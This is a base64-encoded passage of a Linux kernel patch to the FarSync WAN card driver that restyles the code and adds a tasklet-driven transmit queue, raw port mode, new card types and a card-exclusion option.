Y3QgbmV0X2RldmljZSAqZGV2KQogewotICAgICAgICBpbnQgZXJyOworCWludCBlcnI7CisJc3Ry dWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CiAKLSAgICAgICAgZXJyID0gaGRsY19vcGVuIChkZXYp OwotICAgICAgICBpZiAoIGVyciApCi0gICAgICAgICAgICAgICAgcmV0dXJuIGVycjsKKwlwb3J0 ID0gZGV2X3RvX3BvcnQoZGV2KTsKKwlpZiAoIXRyeV9tb2R1bGVfZ2V0KFRISVNfTU9EVUxFKSkK KyAgICAgICAgICByZXR1cm4gLUVCVVNZOworCisJaWYgKHBvcnQtPm1vZGUgIT0gRlNUX1JBVykg eworCQllcnIgPSBoZGxjX29wZW4oZGV2KTsKKwkJaWYgKGVycikKKwkJCXJldHVybiBlcnI7CisJ fQogCi0gICAgICAgIGZzdF9vcGVucG9ydCAoIGRldl90b19wb3J0ICggZGV2ICkpOwotICAgICAg ICBuZXRpZl93YWtlX3F1ZXVlICggZGV2ICk7Ci0gICAgICAgIHJldHVybiAwOworCWZzdF9vcGVu cG9ydChwb3J0KTsKKwluZXRpZl93YWtlX3F1ZXVlKGRldik7CisJcmV0dXJuIDA7CiB9CiAKIHN0 YXRpYyBpbnQKLWZzdF9jbG9zZSAoIHN0cnVjdCBuZXRfZGV2aWNlICpkZXYgKQorZnN0X2Nsb3Nl KHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpCiB7Ci0gICAgICAgIG5ldGlmX3N0b3BfcXVldWUgKCBk ZXYgKTsKLSAgICAgICAgZnN0X2Nsb3NlcG9ydCAoIGRldl90b19wb3J0ICggZGV2ICkpOwotICAg ICAgICBoZGxjX2Nsb3NlICggZGV2ICk7Ci0gICAgICAgIHJldHVybiAwOworCXN0cnVjdCBmc3Rf cG9ydF9pbmZvICpwb3J0OworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXVuc2lnbmVk IGNoYXIgdHhfZG1hX2RvbmU7CisJdW5zaWduZWQgY2hhciByeF9kbWFfZG9uZTsKKworCXBvcnQg PSBkZXZfdG9fcG9ydChkZXYpOworCWNhcmQgPSBwb3J0LT5jYXJkOworCisJdHhfZG1hX2RvbmUg PSBpbmIoY2FyZC0+cGNpX2NvbmYgKyBETUFDU1IxKTsKKwlyeF9kbWFfZG9uZSA9IGluYihjYXJk LT5wY2lfY29uZiArIERNQUNTUjApOworCWRiZyhEQkdfT1BFTiwKKwkgICAgIlBvcnQgQ2xvc2U6 IHR4X2RtYV9pbl9wcm9ncmVzcyA9ICVkICgleCkgcnhfZG1hX2luX3Byb2dyZXNzID0gJWQgKCV4 KVxuIiwKKwkgICAgY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jlc3MsIHR4X2RtYV9kb25lLCBjYXJkLT5k bWFyeF9pbl9wcm9ncmVzcywKKwkgICAgcnhfZG1hX2RvbmUpOworCisJbmV0aWZfc3RvcF9xdWV1 ZShkZXYpOworCWZzdF9jbG9zZXBvcnQoZGV2X3RvX3BvcnQoZGV2KSk7CisJaWYgKHBvcnQtPm1v ZGUgIT0gRlNUX1JBVykgeworCQloZGxjX2Nsb3NlKGRldik7CisJfQorCW1vZHVsZV9wdXQoVEhJ U19NT0RVTEUpOworCXJldHVybiAwOwogfQogCiBzdGF0aWMgaW50Ci1mc3RfYXR0YWNoICggc3Ry dWN0IG5ldF9kZXZpY2UgKmRldiwgdW5zaWduZWQgc2hvcnQgZW5jb2RpbmcsIHVuc2lnbmVkIHNo b3J0IHBhcml0eSApCitmc3RfYXR0YWNoKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIHVuc2lnbmVk IHNob3J0IGVuY29kaW5nLCB1bnNpZ25lZCBzaG9ydCBwYXJpdHkpCiB7Ci0gICAgICAgIC8qIFNl dHRpbmcgY3VycmVudGx5IGZpeGVkIGluIEZhclN5bmMgY2FyZCBzbyB3ZSBjaGVjayBhbmQgZm9y Z2V0ICovCi0gICAgICAgIGlmICggZW5jb2RpbmcgIT0gRU5DT0RJTkdfTlJaIHx8IHBhcml0eSAh PSBQQVJJVFlfQ1JDMTZfUFIxX0NDSVRUICkKLSAgICAgICAgICAgICAgICByZXR1cm4gLUVJTlZB TDsKLSAgICAgICAgcmV0dXJuIDA7CisJLyoKKwkgKiBTZXR0aW5nIGN1cnJlbnRseSBmaXhlZCBp biBGYXJTeW5jIGNhcmQgc28gd2UgY2hlY2sgYW5kIGZvcmdldAorCSAqLworCWlmIChlbmNvZGlu ZyAhPSBFTkNPRElOR19OUlogfHwgcGFyaXR5ICE9IFBBUklUWV9DUkMxNl9QUjFfQ0NJVFQpCisJ CXJldHVybiAtRUlOVkFMOworCXJldHVybiAwOwogfQogCi0KIHN0YXRpYyB2b2lkCi1mc3RfdHhf dGltZW91dCAoIHN0cnVjdCBuZXRfZGV2aWNlICpkZXYgKQorZnN0X3R4X3RpbWVvdXQoc3RydWN0 IG5ldF9kZXZpY2UgKmRldikKIHsKLSAgICAgICAgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7 CisJc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CisJc3RydWN0IGZzdF9jYXJkX2luZm8gKmNh cmQ7CiAJc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMgKnN0YXRzID0gaGRsY19zdGF0cyhkZXYpOwog Ci0gICAgICAgIGRiZyAoIERCR19JTlRSIHwgREJHX1RYLCJ0eF90aW1lb3V0XG4iKTsKLQotICAg ICAgICBwb3J0ID0gZGV2X3RvX3BvcnQgKCBkZXYgKTsKLQotICAgICAgICBzdGF0cy0+dHhfZXJy b3JzKys7Ci0gICAgICAgIHN0YXRzLT50eF9hYm9ydGVkX2Vycm9ycysrOwotCi0gICAgICAgIGlm ICggcG9ydC0+dHhjbnQgPiAwICkKLSAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21kICggcG9y dCwgQUJPUlRUWCApOwotCi0gICAgICAgIGRldi0+dHJhbnNfc3RhcnQgPSBqaWZmaWVzOwotICAg ICAgICBuZXRpZl93YWtlX3F1ZXVlICggZGV2ICk7CisJcG9ydCA9IGRldl90b19wb3J0KGRldik7 CisJY2FyZCA9IHBvcnQtPmNhcmQ7CisJc3RhdHMtPnR4X2Vycm9ycysrOworCXN0YXRzLT50eF9h Ym9ydGVkX2Vycm9ycysrOworCWRiZyhEQkdfQVNTLCAiVHggdGltZW91dCBjYXJkICVkIHBvcnQg JWRcbiIsCisJICAgIGNhcmQtPmNhcmRfbm8sIHBvcnQtPmluZGV4KTsKKwlmc3RfaXNzdWVfY21k KHBvcnQsIEFCT1JUVFgpOworCisJZGV2LT50cmFuc19zdGFydCA9IGppZmZpZXM7CisJbmV0aWZf d2FrZV9xdWV1ZShkZXYpOworCXBvcnQtPnN0YXJ0ID0gMDsKIH0KIAotCiBzdGF0aWMgaW50Ci1m c3Rfc3RhcnRfeG1pdCAoIHN0cnVjdCBza19idWZmICpza2IsIHN0cnVjdCBuZXRfZGV2aWNlICpk ZXYgKQorZnN0X3N0YXJ0X3htaXQoc3RydWN0IHNrX2J1ZmYgKnNrYiwgc3RydWN0IG5ldF9kZXZp Y2UgKmRldikKIHsKKwlzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsKKwlzdHJ1Y3QgZnN0X3Bv cnRfaW5mbyAqcG9ydDsKIAlzdHJ1Y3QgbmV0X2RldmljZV9zdGF0cyAqc3RhdHMgPSBoZGxjX3N0 YXRzKGRldik7Ci0gICAgICAgIHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBz dHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydDsKLSAgICAgICAgdW5zaWduZWQgY2hhciBkbWFiaXRz OwotICAgICAgICB1bnNpZ25lZCBsb25nIGZsYWdzOwotICAgICAgICBpbnQgcGk7Ci0gICAgICAg IGludCB0eHA7Ci0KLSAgICAgICAgcG9ydCA9IGRldl90b19wb3J0ICggZGV2ICk7Ci0gICAgICAg IGNhcmQgPSBwb3J0LT5jYXJkOwotCi0gICAgICAgIC8qIERyb3AgcGFja2V0IHdpdGggZXJyb3Ig aWYgd2UgZG9uJ3QgaGF2ZSBjYXJyaWVyICovCi0gICAgICAgIGlmICggISBuZXRpZl9jYXJyaWVy X29rICggZGV2ICkpCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICgg c2tiICk7Ci0gICAgICAgICAgICAgICAgc3RhdHMtPnR4X2Vycm9ycysrOwotICAgICAgICAgICAg ICAgIHN0YXRzLT50eF9jYXJyaWVyX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIHJldHVybiAw OwotICAgICAgICB9Ci0KLSAgICAgICAgLyogRHJvcCBpdCBpZiBpdCdzIHRvbyBiaWchIE1UVSBm YWlsdXJlID8gKi8KLSAgICAgICAgaWYgKCBza2ItPmxlbiA+IExFTl9UWF9CVUZGRVIgKQotICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgZGJnICggREJHX1RYLCJQYWNrZXQgdG9vIGxhcmdlICVk IHZzICVkXG4iLCBza2ItPmxlbiwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIExFTl9UWF9CVUZGRVIgKTsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVf c2tiICggc2tiICk7Ci0gICAgICAgICAgICAgICAgc3RhdHMtPnR4X2Vycm9ycysrOwotICAgICAg ICAgICAgICAgIHJldHVybiAwOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogQ2hlY2sgd2UgaGF2 ZSBhIGJ1ZmZlciAqLwotICAgICAgICBwaSA9IHBvcnQtPmluZGV4OwotICAgICAgICBzcGluX2xv Y2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAgICAgIHR4cCA9IHBv cnQtPnR4cG9zOwotICAgICAgICBkbWFiaXRzID0gRlNUX1JEQiAoIGNhcmQsIHR4RGVzY3JSaW5n W3BpXVt0eHBdLmJpdHMgKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICYgRE1BX09XTiApCi0gICAg ICAgIHsKLSAgICAgICAgICAgICAgICBzcGluX3VubG9ja19pcnFyZXN0b3JlICggJmNhcmQtPmNh cmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfVFgsIk91dCBvZiBU eCBidWZmZXJzXG4iKTsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICggc2tiICk7Ci0g ICAgICAgICAgICAgICAgc3RhdHMtPnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAgIHJldHVy biAwOwotICAgICAgICB9Ci0gICAgICAgIGlmICggKytwb3J0LT50eHBvcyA+PSBOVU1fVFhfQlVG RkVSICkKLSAgICAgICAgICAgICAgICBwb3J0LT50eHBvcyA9IDA7Ci0KLSAgICAgICAgaWYgKCAr K3BvcnQtPnR4Y250ID49IE5VTV9UWF9CVUZGRVIgKQotICAgICAgICAgICAgICAgIG5ldGlmX3N0 b3BfcXVldWUgKCBkZXYgKTsKLQotICAgICAgICAvKiBSZWxlYXNlIHRoZSBjYXJkIGxvY2sgYmVm b3JlIHdlIGNvcHkgdGhlIGRhdGEgYXMgd2Ugbm93IGhhdmUKLSAgICAgICAgICogZXhjbHVzaXZl IGFjY2VzcyB0byB0aGUgYnVmZmVyLgotICAgICAgICAgKi8KLSAgICAgICAgc3Bpbl91bmxvY2tf aXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0KLSAgICAgICAgLyogRW5x dWV1ZSB0aGUgcGFja2V0ICovCi0gICAgICAgIG1lbWNweV90b2lvICggY2FyZC0+bWVtICsgQlVG X09GRlNFVCAoIHR4QnVmZmVyW3BpXVt0eHBdWzBdKSwKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIHNrYi0+ZGF0YSwgc2tiLT5sZW4gKTsKLSAgICAgICAg RlNUX1dSVyAoIGNhcmQsIHR4RGVzY3JSaW5nW3BpXVt0eHBdLmJjbnQsIGNudl9iY250ICggc2ti LT5sZW4gKSk7Ci0gICAgICAgIEZTVF9XUkIgKCBjYXJkLCB0eERlc2NyUmluZ1twaV1bdHhwXS5i aXRzLCBETUFfT1dOIHwgVFhfU1RQIHwgVFhfRU5QICk7CisJdW5zaWduZWQgbG9uZyBmbGFnczsK KwlpbnQgdHhxX2xlbmd0aDsKIAotICAgICAgICBzdGF0cy0+dHhfcGFja2V0cysrOwotICAgICAg ICBzdGF0cy0+dHhfYnl0ZXMgKz0gc2tiLT5sZW47CisJcG9ydCA9IGRldl90b19wb3J0KGRldik7 CisJY2FyZCA9IHBvcnQtPmNhcmQ7CisJZGJnKERCR19UWCwgImZzdF9zdGFydF94bWl0OiBsZW5n dGggPSAlZFxuIiwgc2tiLT5sZW4pOworCisJLyogRHJvcCBwYWNrZXQgd2l0aCBlcnJvciBpZiB3 ZSBkb24ndCBoYXZlIGNhcnJpZXIgKi8KKwlpZiAoIW5ldGlmX2NhcnJpZXJfb2soZGV2KSkgewor CQlkZXZfa2ZyZWVfc2tiKHNrYik7CisJCXN0YXRzLT50eF9lcnJvcnMrKzsKKwkJc3RhdHMtPnR4 X2NhcnJpZXJfZXJyb3JzKys7CisJCWRiZyhEQkdfQVNTLAorCQkgICAgIlRyaWVkIHRvIHRyYW5z bWl0IGJ1dCBubyBjYXJyaWVyIG9uIGNhcmQgJWQgcG9ydCAlZFxuIiwKKwkJICAgIGNhcmQtPmNh cmRfbm8sIHBvcnQtPmluZGV4KTsKKwkJcmV0dXJuIDA7CisJfQogCi0gICAgICAgIGRldl9rZnJl ZV9za2IgKCBza2IgKTsKKwkvKiBEcm9wIGl0IGlmIGl0J3MgdG9vIGJpZyEgTVRVIGZhaWx1cmUg PyAqLworCWlmIChza2ItPmxlbiA+IExFTl9UWF9CVUZGRVIpIHsKKwkJZGJnKERCR19BU1MsICJQ YWNrZXQgdG9vIGxhcmdlICVkIHZzICVkXG4iLCBza2ItPmxlbiwKKwkJICAgIExFTl9UWF9CVUZG RVIpOworCQlkZXZfa2ZyZWVfc2tiKHNrYik7CisJCXN0YXRzLT50eF9lcnJvcnMrKzsKKwkJcmV0 dXJuIDA7CisJfQogCi0gICAgICAgIGRldi0+dHJhbnNfc3RhcnQgPSBqaWZmaWVzOwotICAgICAg ICByZXR1cm4gMDsKLX0KKwkvKgorCSAqIFdlIGFyZSBhbHdheXMgZ29pbmcgdG8gcXVldWUgdGhl IHBhY2tldAorCSAqIHNvIHRoYXQgdGhlIGJvdHRvbSBoYWxmIGlzIHRoZSBvbmx5IHBsYWNlIHdl IHR4IGZyb20KKwkgKiBDaGVjayB0aGVyZSBpcyByb29tIGluIHRoZSBwb3J0IHR4cQorCSAqLwor CXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKwlpZiAoKHR4cV9s ZW5ndGggPSBwb3J0LT50eHFlIC0gcG9ydC0+dHhxcykgPCAwKSB7CisJCS8qCisJCSAqIFRoaXMg aXMgdGhlIGNhc2Ugd2hlcmUgdGhlIG5leHQgZnJlZSBoYXMgd3JhcHBlZCBidXQgdGhlCisJCSAq IGxhc3QgdXNlZCBoYXNuJ3QKKwkJICovCisJCXR4cV9sZW5ndGggPSB0eHFfbGVuZ3RoICsgRlNU X1RYUV9ERVBUSDsKKwl9CisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2FyZF9sb2Nr LCBmbGFncyk7CisJaWYgKHR4cV9sZW5ndGggPiBmc3RfdHhxX2hpZ2gpIHsKKwkJLyoKKwkJICog V2UgaGF2ZSBnb3QgZW5vdWdoIGJ1ZmZlcnMgaW4gdGhlIHBpcGVsaW5lLiAgQXNrIHRoZSBuZXR3 b3JrCisJCSAqIGxheWVyIHRvIHN0b3Agc2VuZGluZyBmcmFtZXMgZG93bgorCQkgKi8KKwkJbmV0 aWZfc3RvcF9xdWV1ZShkZXYpOworCQlwb3J0LT5zdGFydCA9IDE7CS8qIEknbSB1c2luZyB0aGlz IHRvIHNpZ25hbCBzdG9wIHNlbnQgdXAgKi8KKwl9CisKKwlpZiAodHhxX2xlbmd0aCA9PSBGU1Rf VFhRX0RFUFRIIC0gMSkgeworCQkvKgorCQkgKiBUaGlzIHNob3VsZG4ndCBoYXZlIGhhcHBlbmVk IGJ1dCBzdWNoIGlzIGxpZmUKKwkJICovCisJCWRldl9rZnJlZV9za2Ioc2tiKTsKKwkJc3RhdHMt PnR4X2Vycm9ycysrOworCQlkYmcoREJHX0FTUywgIlR4IHF1ZXVlIG92ZXJmbG93IGNhcmQgJWQg cG9ydCAlZFxuIiwKKwkJICAgIGNhcmQtPmNhcmRfbm8sIHBvcnQtPmluZGV4KTsKKwkJcmV0dXJu IDA7CisJfQorCisJLyoKKwkgKiBxdWV1ZSB0aGUgYnVmZmVyCisJICovCisJc3Bpbl9sb2NrX2ly cXNhdmUoJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MpOworCXBvcnQtPnR4cVtwb3J0LT50eHFlXSA9 IHNrYjsKKwlwb3J0LT50eHFlKys7CisJaWYgKHBvcnQtPnR4cWUgPT0gRlNUX1RYUV9ERVBUSCkK KwkJcG9ydC0+dHhxZSA9IDA7CisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2FyZF9s b2NrLCBmbGFncyk7CisKKwkvKiBTY2VoZHVsZSB0aGUgYm90dG9tIGhhbGYgd2hpY2ggbm93IGRv ZXMgdHJhbnNtaXQgcHJvY2Vzc2luZyAqLworCWZzdF9xX3dvcmtfaXRlbSgmZnN0X3dvcmtfdHhx LCBjYXJkLT5jYXJkX25vKTsKKwl0YXNrbGV0X3NjaGVkdWxlKCZmc3RfdHhfdGFzayk7CiAKKwly ZXR1cm4gMDsKK30KIAogLyoKICAqICAgICAgQ2FyZCBzZXR1cCBoYXZpbmcgY2hlY2tlZCBoYXJk d2FyZSByZXNvdXJjZXMuCkBAIC0xNDQwLDIyICsyMzk4LDI2IEBACiAgKiAgICAgIGRpc2FibGVk LgogICovCiBzdGF0aWMgY2hhciAqdHlwZV9zdHJpbmdzW10gX19kZXZpbml0ZGF0YSA9IHsKLSAg ICAgICAgIm5vIGhhcmR3YXJlIiwgICAgICAgICAgICAgICAgICAvKiBTaG91bGQgbmV2ZXIgYmUg c2VlbiAqLwotICAgICAgICAiRmFyU3luYyBUMlAiLAotICAgICAgICAiRmFyU3luYyBUNFAiCisJ Im5vIGhhcmR3YXJlIiwJCS8qIFNob3VsZCBuZXZlciBiZSBzZWVuICovCisJIkZhclN5bmMgVDJQ IiwKKwkiRmFyU3luYyBUNFAiLAorCSJGYXJTeW5jIFQxVSIsCisJIkZhclN5bmMgVDJVIiwKKwki RmFyU3luYyBUNFUiLAorCSJGYXJTeW5jIFRFMSIKIH07CiAKIHN0YXRpYyB2b2lkIF9fZGV2aW5p dAotZnN0X2luaXRfY2FyZCAoIHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkICkKK2ZzdF9pbml0 X2NhcmQoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQpCiB7Ci0gICAgICAgIGludCBpOwotICAg ICAgICBpbnQgZXJyOworCWludCBpOworCWludCBlcnI7CiAKLSAgICAgICAgLyogV2UncmUgd29y a2luZyBvbiBhIG51bWJlciBvZiBwb3J0cyBiYXNlZCBvbiB0aGUgY2FyZCBJRC4gSWYgdGhlCi0g ICAgICAgICAqIGZpcm13YXJlIGRldGVjdHMgc29tZXRoaW5nIGRpZmZlcmVudCBsYXRlciAoc2hv dWxkIG5ldmVyIGhhcHBlbikKLSAgICAgICAgICogd2UnbGwgaGF2ZSB0byByZXZpc2UgaXQgaW4g c29tZSB3YXkgdGhlbi4KLSAgICAgICAgICovCi0gICAgICAgIGZvciAoIGkgPSAwIDsgaSA8IGNh cmQtPm5wb3J0cyA7IGkrKyApIHsKKwkvKiBXZSdyZSB3b3JraW5nIG9uIGEgbnVtYmVyIG9mIHBv cnRzIGJhc2VkIG9uIHRoZSBjYXJkIElELiBJZiB0aGUKKwkgKiBmaXJtd2FyZSBkZXRlY3RzIHNv bWV0aGluZyBkaWZmZXJlbnQgbGF0ZXIgKHNob3VsZCBuZXZlciBoYXBwZW4pCisJICogd2UnbGwg aGF2ZSB0byByZXZpc2UgaXQgaW4gc29tZSB3YXkgdGhlbi4KKwkgKi8KKwlmb3IgKGkgPSAwOyBp IDwgY2FyZC0+bnBvcnRzOyBpKyspIHsKICAgICAgICAgICAgICAgICBlcnIgPSByZWdpc3Rlcl9o ZGxjX2RldmljZShjYXJkLT5wb3J0c1tpXS5kZXYpOwogICAgICAgICAgICAgICAgIGlmIChlcnIg PCAwKSB7CiAJCQlpbnQgajsKQEAgLTE0NjgsNjIgKzI0MzAsMTIwIEBACiAgICAgICAgICAgICAg ICAgICAgICAgICBjYXJkLT5ucG9ydHMgPSBpOwogICAgICAgICAgICAgICAgICAgICAgICAgYnJl YWs7CiAgICAgICAgICAgICAgICAgfQotICAgICAgICB9CisJfQogCi0gICAgICAgIHByaW50ayAo IEtFUk5fSU5GTyAiJXMtJXM6ICVzIElSUSVkLCAlZCBwb3J0c1xuIiwKLSAgICAgICAgICAgICAg ICAgICAgICAgIHBvcnRfdG9fZGV2KCZjYXJkLT5wb3J0c1swXSktPm5hbWUsCi0gICAgICAgICAg ICAgICAgICAgICAgICBwb3J0X3RvX2RldigmY2FyZC0+cG9ydHNbY2FyZC0+bnBvcnRzLTFdKS0+ bmFtZSwKLSAgICAgICAgICAgICAgICAgICAgICAgIHR5cGVfc3RyaW5nc1tjYXJkLT50eXBlXSwg Y2FyZC0+aXJxLCBjYXJkLT5ucG9ydHMgKTsKKwlwcmludGtfaW5mbygiJXMtJXM6ICVzIElSUSVk LCAlZCBwb3J0c1xuIiwKKwkgICAgICAgcG9ydF90b19kZXYoJmNhcmQtPnBvcnRzWzBdKS0+bmFt ZSwKKwkgICAgICAgcG9ydF90b19kZXYoJmNhcmQtPnBvcnRzW2NhcmQtPm5wb3J0cyAtIDFdKS0+ bmFtZSwKKwkgICAgICAgdHlwZV9zdHJpbmdzW2NhcmQtPnR5cGVdLCBjYXJkLT5pcnEsIGNhcmQt Pm5wb3J0cyk7CiB9CiAKLQogLyoKICAqICAgICAgSW5pdGlhbGlzZSBjYXJkIHdoZW4gZGV0ZWN0 ZWQuCiAgKiAgICAgIFJldHVybnMgMCB0byBpbmRpY2F0ZSBzdWNjZXNzLCBvciBlcnJubyBvdGhl cndpc2UuCiAgKi8KIHN0YXRpYyBpbnQgX19kZXZpbml0Ci1mc3RfYWRkX29uZSAoIHN0cnVjdCBw Y2lfZGV2ICpwZGV2LCBjb25zdCBzdHJ1Y3QgcGNpX2RldmljZV9pZCAqZW50ICkKK2ZzdF9hZGRf b25lKHN0cnVjdCBwY2lfZGV2ICpwZGV2LCBjb25zdCBzdHJ1Y3QgcGNpX2RldmljZV9pZCAqZW50 KQogewotICAgICAgICBzdGF0aWMgaW50IGZpcnN0dGltZV9kb25lID0gMDsKLSAgICAgICAgc3Ry dWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7Ci0gICAgICAgIGludCBlcnIgPSAwOworCXN0YXRpYyBp bnQgZmlyc3R0aW1lX2RvbmUgPSAwOworCXN0YXRpYyBpbnQgbm9fb2ZfY2FyZHNfYWRkZWQgPSAw OworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCWludCBlcnIgPSAwOwogCWludCBpOwog Ci0gICAgICAgIGlmICggISBmaXJzdHRpbWVfZG9uZSApCi0gICAgICAgIHsKLSAgICAgICAgICAg ICAgICBwcmludGsgKCBLRVJOX0lORk8gIkZhclN5bmMgWDIxIGRyaXZlciAiIEZTVF9VU0VSX1ZF UlNJT04KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiAoYykgMjAwMSBGYXJTaXRl IENvbW11bmljYXRpb25zIEx0ZC5cbiIpOwotICAgICAgICAgICAgICAgIGZpcnN0dGltZV9kb25l ID0gMTsKLSAgICAgICAgfQotCi0gICAgICAgIC8qIEFsbG9jYXRlIGRyaXZlciBwcml2YXRlIGRh dGEgKi8KLSAgICAgICAgY2FyZCA9IGttYWxsb2MgKCBzaXplb2YgKCBzdHJ1Y3QgZnN0X2NhcmRf aW5mbyApLCAgR0ZQX0tFUk5FTCk7Ci0gICAgICAgIGlmIChjYXJkID09IE5VTEwpCi0gICAgICAg IHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiRmFyU3luYyBjYXJkIGZvdW5kIGJ1dCBp bnN1ZmZpY2llbnQgbWVtb3J5IGZvciIKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IiBkcml2ZXIgc3RvcmFnZVxuIik7Ci0gICAgICAgICAgICAgICAgcmV0dXJuIC1FTk9NRU07Ci0g ICAgICAgIH0KLSAgICAgICAgbWVtc2V0ICggY2FyZCwgMCwgc2l6ZW9mICggc3RydWN0IGZzdF9j YXJkX2luZm8gKSk7Ci0KLSAgICAgICAgLyogVHJ5IHRvIGVuYWJsZSB0aGUgZGV2aWNlICovCi0g ICAgICAgIGlmICgoIGVyciA9IHBjaV9lbmFibGVfZGV2aWNlICggcGRldiApKSAhPSAwICkKLSAg ICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJGYWlsZWQgdG8gZW5hYmxlIGNh cmQuIEVyciAlZFxuIiwgLWVyciApOwotICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfZnJlZV9j YXJkOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogUmVjb3JkIGluZm8gd2UgbmVlZCovCi0gICAg ICAgIGNhcmQtPmlycSAgICAgICAgID0gcGRldi0+aXJxOwotICAgICAgICBjYXJkLT5wY2lfY29u ZiAgICA9IHBjaV9yZXNvdXJjZV9zdGFydCAoIHBkZXYsIDEgKTsKLSAgICAgICAgY2FyZC0+cGh5 c19tZW0gICAgPSBwY2lfcmVzb3VyY2Vfc3RhcnQgKCBwZGV2LCAyICk7Ci0gICAgICAgIGNhcmQt PnBoeXNfY3RsbWVtID0gcGNpX3Jlc291cmNlX3N0YXJ0ICggcGRldiwgMyApOworCWlmICghZmly c3R0aW1lX2RvbmUpIHsKKwkJcHJpbnRrX2luZm8oIkZhclN5bmMgV0FOIGRyaXZlciAiIEZTVF9V U0VSX1ZFUlNJT04KKwkJICAgICAgICIgKGMpIDIwMDEtMjAwNCBGYXJTaXRlIENvbW11bmljYXRp b25zIEx0ZC5cbiIpOworCQlmaXJzdHRpbWVfZG9uZSA9IDE7CisJCWRiZyhEQkdfQVNTLCAiVGhl IHZhbHVlIG9mIGRlYnVnIG1hc2sgaXMgJXhcbiIsIGZzdF9kZWJ1Z19tYXNrKTsKKwl9CisKKwkv KgorCSAqIFdlIGFyZSBnb2luZyB0byBiZSBjbGV2ZXIgYW5kIGFsbG93IGNlcnRhaW4gY2FyZHMg bm90IHRvIGJlCisJICogY29uZmlndXJlZC4gIEFuIGV4Y2x1ZGUgbGlzdCBjYW4gYmUgcHJvdmlk ZWQgaW4gL2V0Yy9tb2R1bGVzLmNvbmYKKwkgKi8KKwlpZiAoZnN0X2V4Y2x1ZGVkX2NhcmRzICE9 IDApIHsKKwkJLyoKKwkJICogVGhlcmUgYXJlIGNhcmRzIHRvIGV4Y2x1ZGUKKwkJICoKKwkJICov CisJCWZvciAoaSA9IDA7IGkgPCBmc3RfZXhjbHVkZWRfY2FyZHM7IGkrKykgeworCQkJaWYgKChw ZGV2LT5kZXZmbikgPj4gMyA9PSBmc3RfZXhjbHVkZWRfbGlzdFtpXSkgeworCQkJCXByaW50a19p bmZvKCJGYXJTeW5jIFBDSSBkZXZpY2UgJWQgbm90IGFzc2lnbmVkXG4iLAorCQkJCSAgICAgICAo cGRldi0+ZGV2Zm4pID4+IDMpOworCQkJCXJldHVybiAtRUJVU1k7CisJCQl9CisJCX0KKwl9CisK KwkvKiBBbGxvY2F0ZSBkcml2ZXIgcHJpdmF0ZSBkYXRhICovCisJY2FyZCA9IGttYWxsb2Moc2l6 ZW9mIChzdHJ1Y3QgZnN0X2NhcmRfaW5mbyksIEdGUF9LRVJORUwpOworCWlmIChjYXJkID09IE5V TEwpIHsKKwkJcHJpbnRrX2VycigiRmFyU3luYyBjYXJkIGZvdW5kIGJ1dCBpbnN1ZmZpY2llbnQg bWVtb3J5IGZvciIKKwkJCSAgICIgZHJpdmVyIHN0b3JhZ2VcbiIpOworCQlyZXR1cm4gLUVOT01F TTsKKwl9CisJbWVtc2V0KGNhcmQsIDAsIHNpemVvZiAoc3RydWN0IGZzdF9jYXJkX2luZm8pKTsK KworCS8qIFRyeSB0byBlbmFibGUgdGhlIGRldmljZSAqLworCWlmICgoZXJyID0gcGNpX2VuYWJs ZV9kZXZpY2UocGRldikpICE9IDApIHsKKwkJcHJpbnRrX2VycigiRmFpbGVkIHRvIGVuYWJsZSBj YXJkLiBFcnIgJWRcbiIsIC1lcnIpOworCQlrZnJlZShjYXJkKTsKKwkJcmV0dXJuIGVycjsKKwl9 CisKKwlpZiAoKGVyciA9IHBjaV9yZXF1ZXN0X3JlZ2lvbnMocGRldiwgIkZhclN5bmMiKSkgIT0w KSB7CisJICAgICAgICBwcmludGtfZXJyKCJGYWlsZWQgdG8gYWxsb2NhdGUgcmVnaW9ucy4gRXJy ICVkXG4iLCAtZXJyKTsKKwkJcGNpX2Rpc2FibGVfZGV2aWNlKHBkZXYpOworCQlrZnJlZShjYXJk 